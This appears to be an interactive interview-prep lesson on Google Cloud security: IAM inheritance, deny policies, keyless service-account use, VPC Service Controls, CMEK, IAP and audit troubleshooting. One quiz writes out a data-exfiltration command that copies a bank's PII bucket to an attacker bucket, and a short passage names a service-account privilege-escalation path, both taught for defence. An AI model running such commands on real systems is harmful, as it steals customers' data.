Most engineers think…
Most candidates say "GCP IAM is basically AWS IAM, and service-account keys are fine" — and the interview quietly ends there.
Both halves fail you. GCP IAM is hierarchy-inherited and resource-centric — policies flow Org → Folder → Project and grants are additive, nothing like AWS allow/deny statements. And downloaded service-account keys are a top breach vector: the right answer is Workload Identity Federation with short-lived credentials. Plus GCP's signature anti-exfiltration control is VPC Service Controls, not just a firewall. This lesson trains the framing that gets you hired.
① IAM & the resource hierarchy
This is where every GCP security interview starts — and where the AWS-trained candidate trips. GCP IAM is hierarchy-inherited and resource-centric. Everything lives under Resource hierarchy: Organization → Folder → Project → Resource. A role granted at the Org or Folder level is inherited by every project beneath it, and grants are additive — there is no implicit way to revoke an inherited role lower down.
The GCP security vocabulary every interview opens with
Know these four cold before anything else. Tap each card.
Org → Folder → Project → Resource — IAM policies are set at any level and INHERITED downward; grants are additive, not subtractive.
A non-human identity a workload runs as. Downloaded SA keys are the danger — prefer Workload Identity Federation.
A data-exfiltration perimeter around APIs (Storage, BigQuery). Blocks data leaving even with valid IAM — GCP's signature control.
SCC — GCP's central CSPM + threat-detection plane: finds misconfigs and watches Audit Logs for active threats.
Roles come in three flavours. Primitive roles (Owner/Editor/Viewer) are project-wide and dangerously broad. Predefined roles (e.g. roles/storage.objectViewer) are the day-to-day best practice. Custom roles let you assemble an exact permission set. The crisp interview line: primitive = too broad, predefined = right default, custom = when you need surgical least privilege.
An auditor needs read-only access to view objects in one Cloud Storage bucket in the bank-prod project. What do you grant, and where?
roles/storage.objectViewer scoped to the bucket/project — not Owner, not Editor, and never at the Org level (it would inherit everywhere). A key is for workloads, not a human auditor.Answer firmly: no. AWS attaches policies to users/roles with explicit allow AND deny. GCP IAM is resource-centric and inherited down a hierarchy, grants are additive — but there is now an explicit-deny capability (IAM deny policies, below). You still curb most access with Org Policy constraints and IAM Conditions, and reach for deny policies as a targeted guardrail. Treating GCP exactly like AWS IAM is still an instant red flag.
IAM deny policies — the explicit “no” that overrides every allow
The capability interviewers increasingly probe, because it broke the old “GCP has no deny” rule. An IAM deny policy is a separate object (not part of the allow policy) attached to an Org, Folder or Project. It lists deniedPrincipals and deniedPermissions (plus optional exceptions), and GCP evaluates it before any allow policy — so a matching deny wins even over roles/owner. That is the headline: a deny policy is the one thing that can stop a project Owner. Two gotchas to mention: permissions are written in the API-long form (e.g. deny iam.googleapis.com/roles.create, not iam.roles.create), and deny policies support IAM Conditions so you can scope the block (e.g. deny unless the request comes from a trusted network).
Pause & Predict
You want to stop ANYONE — including Owners — from creating new SA keys in a folder, but still allow your break-glass admin group. How? Type your guess.
iam.disableServiceAccountKeyCreation on the folder (service-level guardrail), AND/OR write an IAM deny policy with deniedPrincipals: allUsers and deniedPermissions: iam.googleapis.com/serviceAccountKeys.create, listing your break-glass group under exceptionPrincipals. Because deny is evaluated first and overrides allow, even an Owner is blocked — while the exception group still works. Org Policy and deny policies are complementary guardrails that sit ABOVE ordinary IAM allow grants.If an over-broad role is inherited from the Org or a Folder, you often can't simply “remove” it at the project — the grant lives higher up and is additive. The right answers are: fix it at the level it was granted, add an IAM deny policy as a targeted override, or use an Org Policy constraint. Saying “I'd just delete the binding on the project” for an inherited grant shows you don't understand inheritance.
② Service accounts, Workload Identity Federation & least privilege
A Service account is the identity a workload runs as. The single biggest GCP breach vector is the SA key — a downloaded JSON private key. It is long-lived, ends up in Git, CI logs and laptops, and never expires on its own. The 2026 best practice an interviewer wants to hear: do not download SA keys — use Workload Identity Federation so an external workload uses its own IdP token and receives a short-lived GCP token instead.
▶ Watch a workload authenticate WITHOUT a key
How Workload Identity Federation lets an external workload (a GitHub Actions runner or an on-prem app) call GCP with NO downloaded service-account key. Press Play for the healthy path, then Break it to see the failure.
Tighten access further with IAM Conditions (time-bound, resource-name-bound grants) and Org Policy constraints such as iam.disableServiceAccountKeyCreation, which block key creation org-wide regardless of who holds Owner.
A GitHub Actions pipeline at Infosys needs to deploy to GCP. A junior engineer downloaded a service-account JSON key and pasted it into a CI secret. Why is the architect alarmed?
Pause & Predict
Does disabling SA key creation org-wide break existing workloads? Type your guess.
iam.disableServiceAccountKeyCreation Org Policy only blocks NEW key creation. You roll it out alongside migrating workloads to Workload Identity Federation / attached service accounts, so nothing new can leak while you retire the old keys.Rahul at TCS faces this
An audit finds 40 downloaded service-account keys across CI systems and developer laptops, several years old.
Long-lived SA keys with broad roles — any leaked key is a permanent backdoor with the SA's full permissions.
Inventory keys via the IAM API / SCC; identify which workloads actually need them; check each SA's roles for over-grant.
IAM & Admin ▸ Service Accounts ▸ Keys + SCC findingsMigrate workloads to Workload Identity Federation (external) or attached service accounts (on-GCP); then set the Org Policy iam.disableServiceAccountKeyCreation and delete the old keys.
Re-run the SCC scan — zero user-managed keys; pipelines still deploy using short-lived federated tokens.
Service-account impersonation — the keyless way humans and workloads “become” an SA
Interviewers increasingly ask: “If you don't download keys, how does one identity act as a service account?” The answer is service-account impersonation. A user or workload that holds roles/iam.serviceAccountTokenCreator on the target service account calls generateAccessToken (or generateIdToken) and gets back a short-lived OAuth token (1 hour max) to act as that SA. Two things win the room: the role is a resource-level binding on the SA itself — so the caller can impersonate only that one SA, not every SA in the project — and the Cloud Audit Log records both the source identity and the target SA, so you finally know who used the SA. A downloaded key only ever logs the SA, never the human behind it.
serviceAccountTokenCreator vs serviceAccountUser mix-upA classic trap. Token Creator (iam.serviceAccounts.getAccessToken) mints short-lived tokens to impersonate an SA from the CLI/SDK. Service Account User (iam.serviceAccounts.actAs) lets you attach an SA to a resource you create — a VM, a Cloud Run service, a Cloud Function — so the workload runs as that SA. They are unrelated; granting the wrong one is a real-world privilege-escalation hole (attach a high-privilege SA to a VM you control and you inherit its access). Name both and say which you'd grant for which task.
Pause & Predict
Why is granting roles/iam.serviceAccountTokenCreator at the PROJECT level dangerous? Type your guess.
serviceAccountTokenCreator on the SA, not the project; tighten with IAM Conditions + Org Policy constraints.③ Network security & data protection
Two layers interviewers always probe. First, the network: VPC firewall rules are stateful and matched by priority (0 = highest), with an implied deny on ingress; Hierarchical firewall policies let you enforce rules org-wide before project rules even run. Cloud Armor is the edge WAF/DDoS shield in front of your load balancer.
🖥️ This is the screen you'll grant access in — IAM & Admin ▸ IAM ▸ Grant access in the Cloud console. Fields ①②③ decide WHO gets WHAT, and WHEN.
① Resource level matters — grant at the project, NOT the org, or the role inherits to every project. ② Pick a predefined role (objectViewer), never the primitive Editor. ③ The IAM Condition is least-privilege gold: this grant only applies to objects named reports-* and expires automatically.
But the firewall does NOT stop data exfiltration. That is the job of VPC Service Controls — GCP's signature control. VPC-SC draws a perimeter around services like Cloud Storage and BigQuery: even a caller with valid IAM and a stolen token cannot copy data out of the perimeter via the API. On the data side, Cloud KMS powers the three encryption models, Secret Manager holds secrets, and Cloud DLP (Sensitive Data Protection) finds and masks PII.
Pause & Predict
All data in GCP is encrypted at rest by default. So why would a bank still configure CMEK? Type your guess.
An attacker steals a valid service-account token inside a bank's VPC and runs gcloud storage cp gs://bank-pii/* gs://attacker-bucket/. IAM allows the read. What stops the exfiltration?
Priya at an Indian bank faces this
Auditors demand the bank be able to instantly render customer-PII unreadable if a key is suspected compromised, and prove who accessed each secret.
Default Google-managed encryption gives no key ownership or kill-switch; secrets in plain config have no audit trail.
Review which datasets use Google-managed vs CMEK keys; check whether secrets sit in Secret Manager with Data Access logs on.
Security ▸ Cloud KMS + Secret Manager ▸ Audit LogsMove sensitive datasets to CMEK in Cloud KMS (own rotation + a disable kill-switch), store secrets in Secret Manager with CMEK + versioning, and run Cloud DLP to find stray PII.
Disabling the CMEK key instantly makes the data undecryptable; Audit Logs show every secret access by principal.
Identity-Aware Proxy & BeyondCorp — Zero Trust access without a VPN
A flagship GCP control that surprises AWS-trained candidates. Identity-Aware Proxy (IAP) puts an identity checkpoint in front of your web app, VM, or SSH/TCP connection: every request must carry a signed identity that holds roles/iap.httpsResourceAccessor (or the SSH/TCP equivalent) before a single packet reaches the backend. No VPN, no public IP needed. This is the engine of BeyondCorp — trust is based on who you are and the state of your device, not on being “inside the network.”
Access Context Manager supplies the access levels IAP enforces, so you can layer context-aware access on top of IAM: allow only from a corporate IP range, only from a company-managed / encrypted device, only from a given region. Crisp interview line: IAM answers “is this principal allowed?”; IAP + context-aware access also answer “from a trusted device and place, right now?” (Note since Jan 2024 you no longer need a BeyondCorp Enterprise license to protect internal apps behind an internal load balancer with IAP.)
Meera at an Indian fintech faces this
An internal admin dashboard is reachable over the corporate VPN, but contractors keep getting access from personal laptops, and there's no record of who opened it.
Network-location trust (“on the VPN = allowed”) with no per-request identity or device check, and the app exposed by IP.
App has a public/VPN-reachable front end; access is governed by network reachability, not identity; no IAP, no access level on the device posture.
Security ▸ Identity-Aware Proxy + Access Context Manager ▸ Access LevelsPut the app behind IAP (remove the public IP), grant roles/iap.httpsResourceAccessor only to the right group, and attach a context-aware access level requiring a corporate IP + company-managed device. Drop the VPN dependency.
A personal laptop is denied even with valid creds; IAP/Audit Logs show every authenticated access by identity and device.
Cloud Armor in depth + the Org Policy constraint catalog
Go one level deeper than “Cloud Armor is a WAF.” It runs at Google's edge in front of the external load balancer and gives you: preconfigured OWASP Top-10 WAF rules (SQLi, XSS, LFI/RFI), rate-limiting / throttling per client, L3-L7 DDoS protection (with Adaptive Protection ML for volumetric attacks), and geo / IP allow-deny lists — all before traffic hits your backend. It pairs naturally with IAP: Armor filters hostile traffic, IAP enforces identity.
For governance, Org Policy constraints are the other half of the “how do you curb access on GCP” answer. The key distinction: IAM says who can do what to a resource; Org Policy says what configurations are allowed to exist at all — and it wins over IAM. Two examples interviewers love:
compute.vmExternalIpAccess— a list constraint to deny external IPs on VMs (set to deny-all), so no one accidentally exposes a box to the internet, regardless of their IAM.iam.allowedPolicyMemberDomains— domain-restricted sharing: only principals from your Cloud Identity domain(s) can be granted IAM, blocking accidental sharing with random@gmail.comaccounts.
Others worth naming: iam.disableServiceAccountKeyCreation (block leakable keys), compute.requireShieldedVm (force Shielded VM with Secure Boot + vTPM + integrity monitoring), compute.restrictVpcPeering (stop prod↔dev peering), and gcp.resourceLocations (data-residency / keep data in asia-south1).
For a GKE / Cloud Run question, name Binary Authorization. It is a deploy-time gate that admits a container only if it carries the required attestations — e.g. signed by your CI pipeline after a vulnerability scan. It stops an attacker (or a careless dev) from running an unscanned or unsigned image in production. Pair it with Shielded VM / vTPM for the node and you've covered both “is the workload trustworthy?” (Binary Authorization) and “is the host trustworthy?” (Shielded VM).
A firewall and Cloud Armor protect the network and the front door. They do nothing against an insider or a stolen token calling the Storage/BigQuery API to ship data out. Naming VPC Service Controls as the anti-exfiltration control — distinct from the firewall — is what separates a GCP-aware candidate from an AWS one.
④ Detection, governance & troubleshooting
Visibility is the final pillar. Security Command Center (SCC) is GCP's central security plane: its CSPM engine (Security Health Analytics) flags misconfigurations, while Event Threat Detection watches logs in near-real-time for active threats. The fuel for all of it is Cloud Audit Logs: Admin Activity logs are always on and free; Data Access logs are OFF by default and must be enabled to see who read data — a classic interview gotcha.
Pause & Predict
Why is enabling Data Access audit logs one of the first things you do for a security-sensitive GCP org? Type your guess.
Arjun at Wipro faces this
SCC suddenly raises a 'Persistence: IAM Anomalous Grant' finding — a service account was granted roles/owner at 2 AM.
Event Threat Detection spotted an unusual IAM grant in the Admin Activity log — possible compromised credential escalating privilege.
Open the SCC finding → pivot to the exact Audit Log entry: which principal made the grant, from which IP, and was it expected?
SCC ▸ Findings ▸ Event Threat Detection + Cloud Audit LogsRevoke the rogue grant, disable/rotate the implicated credential, set an Org Policy to restrict who can grant Owner, and add an IAM Condition / alert on org-level role changes.
Re-check SCC — finding resolved; the anomalous grant is gone and Audit Logs show the remediation.
gcloud projects get-iam-policy bank-prod # who has what, here gcloud org-policies list --project=bank-prod # any constraint blocking it? gcloud access-context-manager perimeters list # is the API inside a VPC-SC perimeter? gcloud compute firewall-rules list # is the packet allowed? (10.0.0.0/24)
ROLE MEMBERS roles/storage.objectViewer user:sneha@flipkart.com CONSTRAINT: iam.disableServiceAccountKeyCreation enforced: true PERIMETER: bank_data_perimeter restricted: storage.googleapis.com
A principal with the right IAM role still gets PERMISSION_DENIED calling the Storage API from a VM. IAM, you confirm, is fine. What is the next most likely cause to check?
Kavya at HCL faces this
A data-science team is blocked from querying a BigQuery dataset; IAM shows they hold roles/bigquery.dataViewer.
IAM is correct, so the block is one layer up: a VPC Service Controls perimeter or an Org Policy constraint is denying the API call.
Run the Policy Troubleshooter (IAM is fine), then list perimeters — is the caller's project / network inside the BigQuery perimeter?
IAM Policy Troubleshooter + Access Context Manager perimetersAdd the caller's project to the perimeter or write a VPC-SC ingress rule for that identity; if an Org Policy blocks it, adjust the constraint at the right node.
Re-run the query → succeeds; the SCC and Audit Logs show the access permitted within the perimeter.
Don't close a GCP access ticket on a hunch. Walk the ladder: Policy Troubleshooter proves the IAM role, org-policies list proves no constraint is winning, perimeters list proves the API is inside VPC-SC, and firewall-rules list proves the packet is allowed. These four checks answer almost every 'access denied — why?' on GCP.
🤖 Ask the AI Tutor
Tap any question — instant, scoped to this lesson. No login, no waiting.
Pre-curated from Google Cloud docs + community Q&A, scoped to this lesson. For a live prod issue, paste your export into chat.techclick.in.
📝 Wrap-up assessment — six more
You've answered 4 inline. Six left. 70% (7 of 10) marks the lesson complete on your profile. Tap Submit all answers at the end.
🧠 In your own words
Type one line: why is Workload Identity Federation safer than a service-account key? Then compare to the expert version.
🗣 Teach a friend
Best way to lock it in — explain it in one line to a teammate. Tap to generate a paste-ready summary.
📖 Glossary
- Resource hierarchy
- Organization → Folder → Project → Resource. IAM policies set at any level inherit downward; grants are additive.
- Primitive / predefined / custom roles
- Primitive = Owner/Editor/Viewer (too broad); predefined = per-service (the default); custom = your exact permission set.
- Service account
- A non-human identity a workload runs as; holds IAM roles like a user.
- Service-account key
- A downloaded long-lived JSON private key — a top breach vector; avoid in favour of WIF.
- Workload Identity Federation
- Exchanges an external IdP token for a short-lived GCP token so workloads need no SA key.
- IAM Conditions
- Attribute-based limits on a grant — by time, resource name or request attributes.
- Org Policy
- Organization Policy constraints (e.g. disableServiceAccountKeyCreation) applied across the hierarchy; override IAM.
- VPC Service Controls
- An API-level perimeter around services (Storage, BigQuery) that blocks data exfiltration even with valid IAM.
- Cloud Armor
- Edge WAF + DDoS protection (OWASP rules, rate-limit, geo/IP) in front of the load balancer.
- CMEK / CSEK / Google-managed
- CMEK = your KMS key (you rotate/disable); CSEK = you supply raw key bytes per request; Google-managed = the default you cannot disable.
- Security Command Center
- GCP's central CSPM + threat-detection plane; Event Threat Detection watches Audit Logs.
- Cloud Audit Logs
- Admin Activity (always on) record changes; Data Access logs (off by default) record who read data.
📚 Sources
- Google Cloud Documentation — Workload Identity Federation. docs.cloud.google.com/iam/docs/workload-identity-federation
- Google Cloud Documentation — Overview of VPC Service Controls. docs.cloud.google.com/vpc-service-controls/docs/overview
- Google Cloud Documentation — Customer-managed encryption keys (CMEK). docs.cloud.google.com/kms/docs/cmek
- Google Cloud Documentation — Security Command Center overview. docs.cloud.google.com/security-command-center/docs/security-command-center-overview
- Google Cloud — VPC Service Controls product page. cloud.google.com/security/vpc-service-controls
- StrongDM — GCP IAM Roles: Basic (Primitive) vs Custom vs Predefined. strongdm.com/blog/gcp-iam-roles
What's next?
Cleared the GCP round? Keep going — the interview-prep library covers AWS, Azure, Zscaler, Palo Alto, Fortinet and more, all in the same hands-on style.